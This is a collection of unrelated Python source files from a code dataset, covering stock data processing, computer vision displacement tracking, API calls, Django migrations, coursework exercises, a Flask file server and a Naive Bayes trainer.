-4].astype(np.float) + minrow\r\n can_trade[:, -2] = can_trade[:, -2].astype(np.float) + can_trade[:, 20 - index].astype(\r\n np.float) * minrow\r\n index += 1\r\n stocktaq[stocktaq[:, -3].astype(np.float) >= quant] = can_trade\r\n stockcost[:, 1] = stockcost[:, 1].astype(np.float) + stocktaq[:, -2].astype(np.float)\r\n stockcost[:, 2] = stockcost[:, 2].astype(np.float) * stocktaq[:, -1].astype(np.float)\r\n return stockcost\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n apr_tdPeriodList = TradingDays(startDate='20200102', endDate='20200102')\r\n for i in apr_tdPeriodList:\r\n dTypes = ['TAQ']\r\n i = i.replace(\"-\", \"\")\r\n a = DT('510300.SH', i)\r\n a.get_trade_list()\r\n a.get_etf_TAQ_array()\r\n a.get_premium_etf()\r\n a.get_discount_etf()\r\n rtarr = a.rtarr\r\n if __name__ == '__main__':\r\n\r\n tradelist = a.tradelist\r\n\r\n pool = mp.Pool(mp.cpu_count())\r\n stklist = pool.starmap(a.get_stock_TAQ_array, [(td,rtarr) for td in tradelist[:,0]])\r\n\r\n # pr_iopv = pool.starmap(a.get_premium_IOPV, [(td, stk) for td in tradelist for stk in stklist])\r\n\r\n\r\n","sub_path":"datascrp.py","file_name":"datascrp.py","file_ext":"py","file_size_in_byte":11850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"290402006","text":"import cv2\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.fftpack import fft\r\n\r\n#Initialize Scale Factors\r\nscale = 2 # To Enlarge Image and find better SIFT Points\r\nimg_scale = 745.716 # 745.716 - pixel/meter\r\n\r\n# Load in the Video\r\ncapture = cv2.VideoCapture('Videos.mp4')\r\ncapture.set(cv2.CAP_PROP_POS_FRAMES, 169)\r\n_, frame = capture.read()\r\n\r\n# Crop Video Exactly at ROI\r\nr1 = np.array([2040, 1064, 105, 17])\r\nr_stable = np.array([1579, 1116, 143, 32])\r\n\r\nimCrop_1 = frame[int(r1[1]):int(r1[1]+r1[3]), int(r1[0]):int(r1[0]+r1[2])]\r\nimCrop_1 = cv2.resize(imCrop_1, None, fx=scale, fy=scale)\r\n\r\nimCrop_stable = frame[int(r_stable[1]):int(r_stable[1]+r_stable[3]), int(r_stable[0]):int(r_stable[0]+r_stable[2])]\r\nimCrop_stable = cv2.resize(imCrop_stable, None, fx=scale, fy=scale)\r\n\r\n# Initiate SIFT detector\r\nsift = cv2.xfeatures2d.SIFT_create()\r\n\r\n# Find the keypoints and descriptors with SIFT for ROI and Background\r\nkp1, des1 = sift.detectAndCompute(imCrop_1,None)\r\nkp_stable, des_stable = sift.detectAndCompute(imCrop_stable,None)\r\n\r\n# Initialize arrays\r\ndisplacement_frame = np.array([0, 0, 0])\r\ndisplacement_stable = np.array([0, 0, 0])\r\ntime_begin = capture.get(cv2.CAP_PROP_POS_MSEC)\r\n\r\n# Circle Through Entire Video\r\nwhile True:\r\n \r\n _, frame = capture.read()\r\n\r\n # Crop each frame, but add 100 pixel border in all directions\r\n image_2 = frame[int(r1[1]-100):int(r1[1]+r1[3]+100), int(r1[0]-100):int(r1[0]+r1[2]+100)]\r\n image_2 = cv2.resize(image_2, None, fx=scale, fy=scale)\r\n \r\n image_2_stable = frame[int(r_stable[1]-100):int(r_stable[1]+r_stable[3]+100), int(r_stable[0]-100):int(r_stable[0]+r_stable[2]+100)]\r\n image_2_stable = cv2.resize(image_2_stable, None, fx=scale, fy=scale)\r\n\r\n # Compute Keyppoints and Descriptors of newly loaded frame\r\n kp2, des2 = sift.detectAndCompute(image_2,None)\r\n kp2_stable, des2_stable = sift.detectAndCompute(image_2_stable,None)\r\n \r\n try :\r\n \r\n # Match Newly Loaded Frames with the Initial Position Frames\r\n # And sort to identify best matches using Brute Force\r\n bf = cv2.BFMatcher()\r\n matches = bf.match(des1,des2)\r\n matches = sorted(matches, key = lambda x:x.distance)\r\n matches_stable = bf.match(des_stable,des2_stable)\r\n matches_stable = sorted(matches_stable, key = lambda x:x.distance)\r\n \r\n # Initialize some arrays\r\n list_kp1 = []\r\n list_kp2 = []\r\n list_kp_stable = []\r\n list_kp2_stable = []\r\n \r\n # Select top 5 Matches\r\n for m in matches[:5]:\r\n list_kp1.append(kp1[m.queryIdx].pt)\r\n list_kp2.append(kp2[m.trainIdx].pt)\r\n \r\n for m in matches_stable[:5]:\r\n list_kp_stable.append(kp_stable[m.queryIdx].pt)\r\n list_kp2_stable.append(kp2_stable[m.trainIdx].pt)\r\n \r\n # Average the Pixel Locations of the Keypoints \r\n X = np.average(np.array(list_kp2)[:, 0])\r\n Y = np.average(np.array(list_kp2)[:, 1])\r\n \r\n X_n = np.average(np.array(list_kp1)[:, 0])\r\n Y_n = np.average(np.array(list_kp1)[:, 1])\r\n \r\n X_stable = np.average(np.array(list_kp2_stable)[:, 0])\r\n Y_stable = np.average(np.array(list_kp2_stable)[:, 1])\r\n \r\n X_stable_n = np.average(np.array(list_kp_stable)[:, 0])\r\n Y_stable_n = np.average(np.array(list_kp_stable)[:, 1])\r\n \r\n # Draw points on Image for Visulaization\r\n cv2.circle(image_2, (int(list_kp2[0][0]), int(list_kp2[0][1])), 8, [0, 0, 255], 3)\r\n cv2.circle(image_2, (int(list_kp2[1][0]), int(list_kp2[1][1])), 8, [200, 200, 0], 3)\r\n cv2.circle(image_2, (int(list_kp2[2][0]), int(list_kp2[2][1])), 8, [200, 200, 0], 3)\r\n cv2.circle(image_2, (int(list_kp2[3][0]), int(list_kp2[3][1])), 8, [200, 200, 0], 3)\r\n cv2.circle(image_2, (int(list_kp2[4][0]), int(list_kp2[4][1])), 8, [200, 200, 0], 3)\r\n\r\n cv2.circle(image_2, (int(X), int(Y)), 8, [0, 255, 0], 5)\r\n \r\n cv2.circle(image_2_stable, (int(list_kp2_stable[0][0]), int(list_kp2_stable[0][1])), 8, [0, 0, 255], 3)\r\n cv2.circle(image_2_stable, (int(list_kp2_stable[1][0]), int(list_kp2_stable[1][1])), 8, [200, 200, 0], 3)\r\n cv2.circle(image_2_stable, (int(list_kp2_stable[2][0]), int(list_kp2_stable[2][1])), 8, [200, 200, 0], 3)\r\n cv2.circle(image_2_stable, (int(list_kp2_stable[3][0]), int(list_kp2_stable[3][1])), 8, [200, 200, 0], 3)\r\n cv2.circle(image_2_stable, (int(list_kp2_stable[4][0]), int(list_kp2_stable[4][1])), 8, [200, 200, 0], 3)\r\n\r\n cv2.circle(image_2_stable, (int(X_stable), int(Y_stable)), 8, [0, 255, 0], 5)\r\n\r\n # Save Time and Displacement Information for later processing\r\n displacement_frame = np.vstack((displacement_frame, \\\r\n [(capture.get(cv2.CAP_PROP_POS_MSEC) - time_begin)/1000, \\\r\n (int(X) - int(X_n) - 100)/img_scale, \\\r\n (int(Y) - int(Y_n) - 100)/img_scale]))\r\n \r\n displacement_stable = np.vstack((displacement_stable, \\\r\n [(capture.get(cv2.CAP_PROP_POS_MSEC) - time_begin)/1000, \\\r\n (int(X_stable) - int(X_stable_n) - 100)/img_scale, \\\r\n (int(Y_stable) - int(Y_stable_n) - 100)/img_scale]))\r\n\r\n # Show Image\r\n cv2.imshow('Final Image Point', image_2)\r\n cv2.imshow('Final Image Stable', image_2_stable)\r\n\r\n except:\r\n pass\r\n \r\n # Press esc or 'q' to close the image window\r\n key = cv2.waitKey(1)\r\n if key & 0xFF == ord('q') or key == 27:\r\n cv2.destroyAllWindows()\r\n break\r\n\r\n# Plot Data\r\n# Initialize Variables for Plotting\r\nfig = plt.figure()\r\nax1 = fig.add_subplot(211)\r\n\r\ndisplacement_stable = np.delete(displacement_stable, 36, 0)\r\ndisplacement_frame = np.delete(displacement_frame, 36, 0)\r\n\r\nax1.plot(displacement_stable[:,0], \\\r\n displacement_stable[:,2])\r\nax1.plot(displacement_frame[:,0], \\\r\n displacement_frame[:,2])\r\nax1.plot(displacement_frame[:,0], \\\r\n displacement_frame[:,2] - displacement_stable[:,2])\r\nax1.set_ylim([-0.050, 0.25])\r\nax1.set_xlim([1, 17.5])\r\nax1.set_title('Average Movement within ROI')\r\nax1.set_xlabel('Time (seconds)')\r\nax1.set_ylabel('Distance from Camera (meter)')\r\nplt.legend(('Movement of UAV', 'Movement of ROI', 'True Movement of ROI'),\r\n loc='upper right')\r\n\r\n# Determine variables\r\nN = displacement_frame.shape[0] \r\nFs = N/(displacement_frame[len(displacement_frame)-1, 0] - displacement_frame[0, 0])\r\nT = (displacement_frame[len(displacement_frame)-1, 0] - displacement_frame[0, 0])\r\nprint('Results ')\r\nprint('------------------')\r\nprint('Number of Samples: ', N)\r\nprint('Sampling Frquency: % 5.2f'% Fs)\r\n\r\n#Compute and Plot FFT \r\nxf = np.linspace(0, Fs, N)\r\nyf_2 = fft(displacement_frame[:,2] - displacement_stable[:,2])\r\nyf_2 = 2.0/N * np.abs(yf_2[0:int(N/2)])\r\nyf_2 = (yf_2-np.min(yf_2))/np.ptp(yf_2)\r\nax3 = fig.add_subplot(212)\r\nax3.plot(xf[1:int(N/2)], yf_2[1:len(xf)])\r\nax3.set_xlim([0, 10]) # 0 - 4\r\n#ax3.set_title('FFT')\r\nax3.set_xlabel('Frequency (Hz)')\r\nax3.set_ylabel('Amplitude')\r\nax3.grid()\r\n\r\nprint(' Frequency: % 5.3f'% xf[np.where(yf_2 == max(yf_2[1:len(yf_2)]))][0])\r\n\r\nplt.show()\r\n\r\n","sub_path":"Source_Codes/2-D_Planar_Measurement.py","file_name":"2-D_Planar_Measurement.py","file_ext":"py","file_size_in_byte":7350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"410072110","text":"__author__ = 'MinterS'\n\n# Zoho Books API v2.0 - Get Records from Module\n# This program will fetch 3 records from the defined module\n\n\nfrom Resources import statusCodes\nfrom Authentication import tokens\nimport requests\nimport json\n\norganization_id = '676667077'\nproject_id = '1596844000000211003'\n\n# Define URL\nurl = 'https://books.zoho.com/api/v3/projects/{project_id}/activate?organization_id={org_id}'\n\n# Prep Token and Headers\ntoken = tokens.getAccess()\nheaders = {'Authorization': token}\n\n# Prep URL\nurl = url.replace(\"{project_id}\", project_id)\nurl = url.replace(\"{org_id}\", organization_id)\n\n# Print Input Data\nprint('')\nprint('---- Request ----')\nprint('URL:', url)\nprint('Head:', headers)\n\n# Call API\nresponse = requests.post(url, headers=headers)\n\n# Print Output Data\ndata = json.loads(response.text)\nprint('')\nprint('-- Response --')\nprint(json.dumps(data, sort_keys=True, indent=4))\n","sub_path":"Python/Zoho_Books_API/3.0/activateProject.py","file_name":"activateProject.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"4149591","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('sito', '0004_auto_20150515_1514'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Questions',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('domanda', models.CharField(max_length=255, verbose_name=b'Domanda')),\n ('body', models.TextField(null=True, verbose_name=b'Risposta', blank=True)),\n ('active', models.BooleanField(default=False, verbose_name=b'Pubblica?')),\n ('pub_date', models.DateTimeField(verbose_name=b'date published')),\n ],\n options={\n 'verbose_name': 'FAQ - Domande Frequenti',\n },\n ),\n ]\n","sub_path":"sito/migrations/0005_questions.py","file_name":"0005_questions.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"390309005","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n############################################################\n#NUMPY TUTORIAL 04(a)\n############################################################\n#Task: load ZnO.xye and find all the peaks\n\n#Load data here (as per 01a):\nfpath = '/home/tomwood/Documents/Misc/numpy-tutorials/ZnO.xye'\ndata = np.loadtxt(fpath)\n\ndef fig_setup(figsize=(10, 10)):\n fig = plt.figure(figsize=figsize)\n ax = fig.add_subplot(111)\n return fig, ax\n\n#Write a peak identification function, that looks through data and decides\n#where the peaks are, returning their positions. You might find the\n#rolling average function you wrote in tut03a useful (or you might not).\n#You will have to decide what parameters to put in to your function (as a\n#guide, I used 3 parameters other than data for my function---it may well\n#be possible to do it with fewer than that).\n\n#Write a function that plots the data with markers on all the peaks (as a\n#check for the first function). You will need plt.text (or ax.text) or\n#plt.vlines, depending on preference.\n\n#Write another function (which could call the first), that finds the linear\n#background-corrected areas under all the peaks and returns the positions\n#and areas by order of area or x-position depending on an argument to the\n#function.\n\n#Write a final plotting function which plots the data and labels the peaks\n#in order numerically (either by x position or by area; you'll need\n#plt.text for this).\n","sub_path":"tut04a.py","file_name":"tut04a.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"194514237","text":"# AUTHOR : Eric Valenzuela\n# CREATED : 12/14/2015\n# MODIFIED: 12/14/2015\n\nimport os\nimport re\nimport urllib\nimport urllib2\n\nsitename = raw_input(\"Website: \")\nsite = urllib2.urlopen(sitename)\nhtml = site.read()\nfiles = re.findall('.\\.pptx', html)\n\npath = raw_input(\"Save path: \")\nnewpath = path + \"/quickDownload/\"\nif not os.path.exists(newpath):\n os.makedirs(newpath)\n\nfor i in files:\n urllib.urlretrieve(sitename, newpath + str(i).zfill(7))\n","sub_path":"urldownload.py","file_name":"urldownload.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"291222099","text":"from itertools import combinations\n\n\nclass CashDesk:\n\n def __init__(self):\n self.money = {100: 0, 50: 0, 20: 0, 10: 0, 5: 0, 2: 0, 1: 0}\n\n def take_money(self, notedict):\n for i in notedict:\n if i in self.money:\n self.money[i] += notedict[i]\n else:\n print(\"Nqma para sus stoinost\" + str(i))\n\n def total(self):\n totalsum = 0\n for i in self.money:\n totalsum += i * self.money[i]\n return totalsum\n\n def can_withdraw_money(self, amount_of_money):\n copy_of_money = dict(self.money)\n all_moneyzzz = []\n combinationslist = []\n for i in copy_of_money:\n for j in range(0, copy_of_money[i]):\n all_moneyzzz.append(i)\n for i in range(1, len(all_moneyzzz) + 1):\n combinationslist.append(list(combinations(all_moneyzzz, i)))\n for i in combinationslist:\n for j in i:\n if sum(j) == amount_of_money:\n return True\n return False\n\n\nclass Product:\n\n def __init__(self, name, stockprice, finalprice):\n self.name = name\n self.stockprice = stockprice\n self.finalprice = finalprice\n\n def profit(self):\n return self.finalprice - self.stockprice\n\n\nclass Laptop(Product):\n\n def __init__(self, name, stockprice, finalprice,\n diskspace, RAM):\n Product.__init__(self, name, stockprice, finalprice)\n self.diskspace = diskspace\n self.RAM = RAM\n\n\nclass Smartphone(Product):\n\n def __init__(self, name, stockprice, finalprice,\n displaysize, megapixels):\n Product.__init__(self, name, stockprice, finalprice)\n self.displaysize = displaysize\n self.megapixels = megapixels\n\n\nclass Store:\n\n def __init__(self, name):\n self.name = name\n self.products = {}\n self.profit = 0\n\n def load_new_products(self, product, amount):\n if product in self.products:\n self.products[product] += 1\n else:\n self.products[product] = amount\n\n def list_products(self, class_product=object):\n for i in self.products:\n if isinstance(i, class_product):\n print(\"{} {}\".format(i.name, self.products[i]))\n\n def sell_product(self, product):\n if product in self.products and self.products[product] > 0:\n self.products[product] -= 1\n self.profit += product.profit()\n return True\n else:\n return False\n\n def total_income(self):\n return self.profit\n\n\nclass Employee:\n\n def __init__(self, name):\n self.name = name\n\n\nclass HourlyEmployee(Employee):\n\n def __init__(self, name, pay_per_hour):\n Employee.__init__(self, name)\n self.pay_per_hour = pay_per_hour\n\n def weeklyPay(self, hours):\n if hours > 40:\n return 40 * self.pay_per_hour + (hours - 40) *\\\n self.pay_per_hour * 1.5\n else:\n return hours * self.pay_per_hour\n\n\nclass SalariedEmployee(Employee):\n\n def __init__(self, name, salary):\n Employee.__init__(self, name)\n self.salary = salary\n\n def weeklyPay(self, hours):\n return self.salary / 48\n\n\nclass Manager(SalariedEmployee):\n\n def __init__(self, name, salary, bonus):\n SalariedEmployee.__init__(self, name, salary)\n self.bonus = bonus\n\n def weeklyPay(self, hours):\n return self.salary / 48 + self.bonus\n\n\nstaff = []\nstaff.append(HourlyEmployee(\"Morgan, Harry\", 30.0))\nstaff.append(SalariedEmployee(\"Lin, Sally\", 52000.0))\nstaff.append(Manager(\"Smith, Mary\", 104000.0, 50.0))\nfor employee in staff:\n hours = int(input(\"Hours worked by \" + employee.name + \": \"))\n pay = employee.weeklyPay(hours)\n print(\"weeklyPay: %.2f\" % pay)\n","sub_path":"week1/week1-day2.py","file_name":"week1-day2.py","file_ext":"py","file_size_in_byte":3825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"445421145","text":"\n#\n# Test that the mobile object implementation is correct\n#\n\nimport pytest\n\nfrom simulated_agency.agents.mobile import Mobile\nfrom simulated_agency.simulation.simulation import Simulation\n\n\n#\n# Fixtures\n#\n\n@pytest.fixture\ndef simulation():\n return Simulation()\n\n@pytest.fixture\ndef locations(simulation):\n return simulation.locations\n\n@pytest.fixture\ndef Agent(simulation):\n class Agent(Mobile):\n simulation = simulation\n return Agent\n\n\n#\n# Tests\n#\n\ndef test_relocate(Agent, locations):\n # Ensure the location is correct to start with\n agent = Agent(locations[3, 3])\n assert agent.location == locations[3, 3]\n assert locations[3, 3].contents == [agent]\n # Perform relocation and check again\n agent._relocate(locations[5, 7])\n assert agent.location == locations[5, 7]\n assert locations[3, 3].contents == []\n assert locations[5, 7].contents == [agent]\n\n\ndef test_move_to_location(Agent, locations):\n \n # Simple case: target location can fit agent\n agent = Agent(locations[3, 3])\n agent.move_to_location(locations[5, 7])\n assert agent.location == locations[5, 7]\n \n # More complex case: target location cannot fit agent\n # Branch A: Alternative(s) specified\n # Branch B: No alternatives specified\n\n #\n # Branch A\n #\n\n agent_one = Agent(locations[6, 2])\n agent_two = Agent(locations[7, 4])\n # Ensure we definitely can't move agent_one\n # to same location as agent_two\n assert agent_two.location.can_fit(agent_one) is False\n # Attempt the move anyway, but provide some alternatives\n alternatives = [\n locations[9, 1],\n locations[8, 3]\n ]\n agent_one.move_to_location(agent_two.location, alt_moves=alternatives)\n assert agent_one.location in alternatives\n\n #\n # Branch B\n #\n\n agent_three = Agent(locations[1, 1])\n agent_four = Agent(locations[3, 8])\n # Ensure we definitely can't move agent_three\n # to same location as agent_four\n assert agent_four.location.can_fit(agent_three) is False\n # Attempt the move anyway, without providing any alternatives\n agent_three.move_to_location(agent_four.location)\n # Ensure we didn't move to the illegal location\n assert agent_three.location != agent_four.location\n","sub_path":"tests/test_agents/test_mobile.py","file_name":"test_mobile.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"501271328","text":"'''\nCreated on 10/23/19\n@author: Jonathan Joshua\nPledge: I pledge my honor that I have abided by the Stevens Honor System.\n\nCS 115 - hw7\n'''\n\nFullAdder = { ('0','0','0') : ('0','0'),\r('0','0','1') : ('1','0'),\r('0','1','0') : ('1','0'),\r('0','1','1') : ('0','1'),\r('1','0','0') : ('1','0'),\r('1','0','1') : ('0','1'),\r('1','1','0') : ('0','1'),\r('1','1','1') : ('1','1') }\n\ndef numToBaseB(N,B):\n \"\"\"Takes as input a non-negative (0 or larger)\rinteger N and a base B (between 2 and 10 inclusive) and returns a string representing the number N in\rbase B.\"\"\"\n if N == 0: return \"0\"\n def numBase(N,B):\n if N == 0: return \"\"\n return numBase(N//B,B) + str(N%B)\n return numBase(N,B)\n\n\ndef baseBToNum(S, B):\n '''Returns an integer in base 10 representing the same number as S.'''\n if S == '':\n return 0\n return B * baseBToNum(S[0:-1], B) + int(S[-1])\n\ndef baseToBase(B1, B2, SinB1):\n '''Returns a string representing the same number in base B2.'''\n return numToBaseB(baseBToNum(SinB1, B1), B2)\n\ndef add(S,T):\n \"\"\"Takes\rtwo binary strings S and T as input and returns their sum.\"\"\"\n return numToBaseB(baseBToNum(S, 2) + baseBToNum(T, 2), 2)\n\ndef addB(S,T):\n \"\"\"Returns a new string representing the sum of the two input strings.\"\"\"\n def helper(S,T,carry):\n if S == '' and T == '' and carry == '1':\n return '1'\n if S == '' and T == '' and carry == '0':\n return ''\n elif T == '':\n sum = FullAdder[(S[-1],'0',carry)]\n elif S == '':\n sum = FullAdder[('0',T[-1],carry)]\n else:\n sum = FullAdder[(S[-1],T[-1],carry)]\n return helper(S[:-1],T[:-1],sum[1]) + sum[0]\n return helper(S,T,'0')\n","sub_path":"CS 115/HW/hw7.py","file_name":"hw7.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"544541545","text":"from flask import Flask, render_template, request, send_from_directory\nimport os\nimport subprocess\nimport json\n\nfrom convert import convert\nfrom file_check import get_all_files\n\n\nFILES_ROUTE = '..\\\\wikiAPIFiles\\\\'\nTEMPLATE_FOLDER = 'website_content\\\\'\n\napp = Flask(__name__, template_folder=TEMPLATE_FOLDER,\n static_folder='website_static', static_url_path='/wiki')\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/docs')\ndef get_docs():\n return render_template('docs.html')\n\n\n@app.route('/file/')\ndef get_data(name):\n \"\"\"\n Retrieve files\n Directories searched: parent, website_content\n \"\"\"\n if name.endswith('.css'):\n return send_from_directory('website_content', name)\n\n current_folder = '.\\\\website_content\\\\'\n parent_folder = FILES_ROUTE\n current = os.path.relpath('.\\\\website_content\\\\%s' % name)\n parent = os.path.relpath('%s%s' % (FILES_ROUTE, name))\n\n if os.path.isfile(current):\n return send_from_directory(current_folder, name)\n elif os.path.isfile(parent):\n return send_from_directory(parent_folder, name)\n\n elif os.path.isfile(current.replace('json', 'csv')):\n return convert(current)\n elif os.path.isfile(parent.replace('json', 'csv')):\n return convert(parent)\n\n\n@app.route('/files/')\ndef files():\n return json.dumps(get_all_files())\n\n\n@app.route('/map/')\n@app.route('/map/')\ndef get_map(file_name=None):\n return render_template('topographic_improved_design.html')\n\n\n@app.route('/map/file/')\ndef get_map_data(name):\n return get_data(name)\n\n\n@app.route('/function/')\ndef call_function(command):\n os.chdir('..\\\\wikiAPIFunctions')\n\n command = 'python exec_function.py ' + command\n try:\n subprocess.call('start %s' % command, shell=True)\n except:\n import exec_function\n exec_function.run_directly(command)\n # os.system(\"gnome-terminal -e 'bash -c \\\" %s; sleep 1000000\\\" '\" % command)\n\n os.chdir('..\\\\server')\n return 'true'\n\n\napp.run(debug=1, port=5000)\n","sub_path":"modules/server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"392166552","text":"# decorator to make things thread-safe\r\nfrom threading import Lock\r\n\r\n# function used to make a class thread-safe, using locks\r\ndef lock_class(methodnames, lockfactory):\r\n return lambda cls:make_thread_safe(cls, methodnames, lockfactory)\r\n\r\ndef lock_method(method): # this will return a locked version of the method passed in as argument\r\n if getattr(method, '__is_locked', False):\r\n raise TypeError('Method {} locked'.format(method))\r\n def locked_method(self, *args, **kwargs):\r\n with self._lock: # lock will be released at the end of 'with'\r\n return method(self, *args, **kwargs) # call the method\r\n lock_method.__name__ = 'locked method({})'.format(method.__name__)\r\n locked_method.__is_locked = True\r\n return locked_method\r\n\r\ndef make_thread_safe(cls, methodnames, lockfactory):\r\n init = cls.__init__ # take a copy of the exisiting __init__ of this cls\r\n def newinit(self, *args, **kwargs):\r\n init(self, *args, **kwargs)\r\n self.__lock = lockfactory\r\n cls.__init__ = newinit # override the original __init__ with this new one\r\n\r\n # now iterate over all the class methods and make them thread-safe\r\n for methodname in methodnames:\r\n oldmethod = getattr(cls, methodname)\r\n newmethod = lock_method(oldmethod)\r\n setattr(cls, methodname, newmethod)\r\n return cls # class with new init and new version of all methods which are now thread-safe\r\n\r\n@lock_class(['add', 'remove'], Lock) # Lock is a lock factory\r\nclass DecoratorLockSet(set): # set type has add and remove methods\r\n # due to presence of decorator, add and remove methods of set are now thread-safe\r\n @lock_method\r\n def methodToLock(self):\r\n print('explicitly making this methos thread-safe')\r\n\r\nif __name__ == '__main__':\r\n my_set = (4, 3, 2)\r\n my_inst = DecoratorLockSet(my_set)\r\n\r\n # check locking\r\n print(my_inst.add.__is_locked)\r\n print(my_inst.remove.__is_locked)\r\n print(my_inst.methodToLock.__is_locked)","sub_path":"pybeyond/201perf/208decorators.py","file_name":"208decorators.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"354636762","text":"import re\r\n\r\nclass trainBernoulli:\r\n def __init__(self, trainSet):\r\n self.vect = []\r\n self.train = trainSet\r\n self.vocab = []\r\n\r\n # preprocess all the sentences\r\n def preprocess(self):\r\n train = []\r\n for words, cla in self.train:\r\n word_list = [word.lower() for word in re.findall(r\"[a-zA-Z]+\", words)]\r\n train.append((' '.join(word_list), cla))\r\n self.train = train\r\n\r\n # return a set of all the words in the training set.\r\n def getVocab(self):\r\n longString = \"\"\r\n for text in self.train:\r\n longString += text[0].lower() + \" \"\r\n self.vocab = set(re.findall(r\"[a-zA-Z]+\", longString))\r\n\r\n # get prior probabilitoes of positive and negative sentences\r\n def priorClassProb(self):\r\n positives = [train[1] for train in self.train].count(\"pos\")\r\n negatives = [train[1] for train in self.train].count(\"neg\")\r\n return positives, negatives\r\n\r\n # get frequency of words in each class\r\n # get prior probabilities for the words\r\n def tokensInClass(self):\r\n posWords = {}\r\n negWords = {}\r\n for sentence, cla in self.train:\r\n if cla == \"pos\":\r\n for word in self.vocab:\r\n if word in sentence:\r\n if word not in posWords.keys():\r\n posWords[word] = 1\r\n else:\r\n posWords[word] += 1\r\n if cla == \"neg\":\r\n for word in self.vocab:\r\n if word in sentence:\r\n if word.lower not in negWords.keys():\r\n negWords[word] = 1\r\n else:\r\n negWords[word] += 1\r\n return posWords, negWords\r\n\r\n # This is the conditional probability\r\n def conditionalProb(self, posClasses, negClasses):\r\n posProb = {}\r\n negProb = {}\r\n posWords, negWords = self.tokensInClass()\r\n for word in self.vocab:\r\n if word in posWords.keys():\r\n posProb[word] = (posWords[word] + 1.)/(posClasses + 2.)\r\n else:\r\n posProb[word] = 1 / (posClasses + 2.)\r\n if word in negWords.keys():\r\n negProb[word] = (negWords[word] + 1.)/(negClasses + 2.)\r\n else:\r\n negProb[word] = 1 / (negClasses + 2.)\r\n return posProb, negProb\r\n\r\n\r\n def trainAlgo(self):\r\n self.preprocess()\r\n self.getVocab()\r\n\r\n posClasses, negClasses = self.priorClassProb()\r\n totalSentences = posClasses + negClasses\r\n # proior class probs\r\n priorPos = posClasses / float(totalSentences)\r\n priorNeg = negClasses / float(totalSentences)\r\n\r\n posProb, negProb = self.conditionalProb(posClasses, negClasses)\r\n\r\n return self.vocab, priorPos, priorNeg, posProb, negProb\r\n\r\n","sub_path":"机器学习/lab8/陈政培(17363011)_lab8/BernoulliNB-nosklearn.py","file_name":"BernoulliNB-nosklearn.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"98038130","text":"#coding:utf-8\nfrom bs4 import BeautifulSoup\nimport os\nimport time\ndef getZengId(html):\n bs=BeautifulSoup(html,'lxml')\n div=bs.find('div',attrs={'class':'cart-good-element','id':False})\n if div:\n ZId = int(div.find('div',class_='cart-good-info-name').a['href'].split('=')[1])\n ZCount =int(div.find('div',class_='good-amount-wrapper fl-l').string)\n else:\n ZId=0\n ZCount=0\n return ZId,ZCount\n\n\ndef getPath(case_name):\n path = os.path.dirname(os.getcwd()) + '\\\\ScreenShot\\\\' + case_name+'_'+str(int(time.time()*1000)) + '.png'\n return path\n\n\ndef getFinalMoney(html):\n bs=BeautifulSoup(html,'lxml')\n if bs.find('span',id='final_price'):\n final_price=bs.find('span',id='final_price').string\n return float(final_price)\n\n\ndef getLoginStatus(html):\n bs=BeautifulSoup(html,'lxml')\n status=bs.find('a',attrs={'class':'NSimSun','href':'/login/off'})\n return status","sub_path":"DD_Store_Selenium/Public/ResolveHtml.py","file_name":"ResolveHtml.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"363207050","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 27 15:09:58 2020\r\n\r\n@author: HI\r\n\"\"\"\r\n\r\n# You are required to write a program to sort the (name, age, height) tuples by ascending order where name is string, age and height are numbers.\r\n\r\n# The tuples are input by console. The sort criteria is:\r\n\r\n# 1: Sort based on name;\r\n\r\n# 2: Then sort based on age;\r\n\r\n# 3: Then sort by score.\r\n\r\n#The priority is that name > age > score.\r\n\r\n#If the following tuples are given as input to the program:\r\n\r\n#Tom,19,80\r\n\r\n#John,20,90\r\n\r\n#Jony,17,91\r\n\r\n#Jony,17,93\r\n\r\n#Json,21,85\r\n\r\n#Then, the output of the program should be:\r\n\r\n#[('John', '20', '90'), ('Jony', '17', '91'), ('Jony', '17', '93'), ('Json', '21', '85'), ('Tom', '19', '80')]\r\n\r\n\r\n\r\n\r\ndef Sort_Tuple(tup):\r\n lst = len(tup)\r\n for i in range(0,lst):\r\n for j in range(0,lst-i-1):\r\n if(tup[j][0] > tup[j+1][0]):\r\n 